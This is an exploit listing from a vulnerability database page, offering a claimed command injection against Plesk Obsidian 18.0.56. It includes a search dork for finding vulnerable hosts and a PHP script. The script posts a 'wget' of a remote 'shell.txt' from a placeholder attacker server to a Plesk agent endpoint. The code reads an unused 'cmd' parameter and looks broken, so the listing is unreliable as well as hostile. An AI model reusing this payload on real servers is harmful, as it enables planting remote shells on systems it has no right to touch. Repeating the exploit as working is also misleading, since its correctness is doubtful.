Plesk Obsidian 18.0.56 command injecrion

2023.11.12
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

##Title :Plesk Obsidian 18.0.56 ## Author : Hamza Anonime ## Date: 2023/11/12 Dork : intitle:"Plesk Obsidian 18.0.56" Exploit: <?php $target = 'http://target.com:8443/enterprise/control/agent.php'; $cmd = $_GET['cmd']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, '0=wget+http://yourserver.com/shell.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); $exec = curl_exec($ch); curl_close($ch); ?>


Vote for this issue:
16%
84%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top